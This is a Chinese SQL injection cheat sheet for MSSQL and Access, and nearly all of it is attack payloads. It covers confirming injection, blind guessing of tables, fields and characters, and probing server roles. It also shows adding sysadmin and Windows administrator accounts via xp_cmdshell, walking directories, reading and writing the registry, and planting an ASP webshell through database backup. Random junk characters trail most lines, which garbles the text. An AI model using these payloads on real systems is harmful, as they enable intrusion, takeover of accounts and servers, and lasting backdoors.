1.判断是否有注入;and 1=1 ;and 1=2 k`oXo%
2.初步判断是否是mssql ;and user>0 qgI
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3.注入参数是字符'and [查询条件] and ''=' R3?~+y&
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' ngeX+@
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5.判断数据库系统 .8b4
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;and (select count(*) from sysobjects)>0 mssql
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;and (select count(*) from msysobjects)>0 access }[LK/@h
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 7MoO2
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 {H])Fob
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pM(y?zGt
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9.(1)猜字段的ascii值(access) })mez[UmZ
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /jj@ =H
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(2)猜字段的ascii值(mssql) {GHGFi`Z
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 f1=8I_>=
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10.测试权限结构(mssql) XJ?@l3D:
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- QRdb~f;<hj
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- .-RW lUe;,
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- "hy#L
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- R`1$z8$
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- "K\Rq+si
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ( _nkscf
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;and 1=(select IS_MEMBER('db_owner'));-- !kV?h5@Bo
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11.添加mssql和系统的帐户 X,y$!2QI
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;exec master.dbo.sp_addlogin username;-- u{H_q&1
;exec master.dbo.sp_password null,username,password;-- Pyyx/u+?@
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- )9<)mV*EB(
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;exec master.dbo.xp_cmdshell 'net user username password X(WG:FP27
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- Z>M*!mQi
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- [Xz7.<0#U
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 2l\Oufer"
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12.(1)遍历目录 GbL,k?ey
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;create table dirs(paths varchar(100), id int) jXW71$B
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;insert dirs exec master.dbo.xp_dirtree 'c:\' wkIH<w|jb
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;and (select top 1 paths from dirs)>0 _FVIN;!
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) =3(
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(2)遍历目录 Q0 ^?jh
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- #D>8\#53V/
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 90ORx\Oeo
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 h[lh01z
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 5 TnECk
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ^T<<F}@q
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13.mssql中的存储过程 Fe/*U4xU
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xp_regenumvalues 注册表根键, 子键 TnKe"TA|9
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 zCco/]h
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xp_regread 根键,子键,键值名 M@gm.)d
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 #cmj?y()
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xp_regwrite 根键,子键, 值名, 值类型, 值 +q=/}|
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 @,s[l1P
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xp_regdeletevalue 根键,子键,值名 c5t?S@b
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 V=
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 D vK}UAj=
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14.mssql的backup创建webshell g@S"!9[;U
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use model hx:x5L>
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create table cmd(str image); 9 s>JdAw?
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insert into cmd(str) values (''); ~A6QX8a
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backup database model to disk='c:\l.asp'; BGUP-_&
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15.mssql内置函数 ,c7 8O8|
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;and (select @@version)>0 获得Windows的版本号 3UBG?%!$f
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa sYp@.?Tz
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;and (select user_name())>0 爆当前系统的连接用户 C9*'.~
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;and (select db_name())>0 得到当前连接的数据库 *,z__S$Q)
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16.简洁的webshell /tV)8pEj
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use model K72U0}$B
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create table cmd(str image); wLNO\JP'
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insert into cmd(str) values (''); b^FB[tZ\x
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backup database model to disk='g:\wwwtest\l.asp';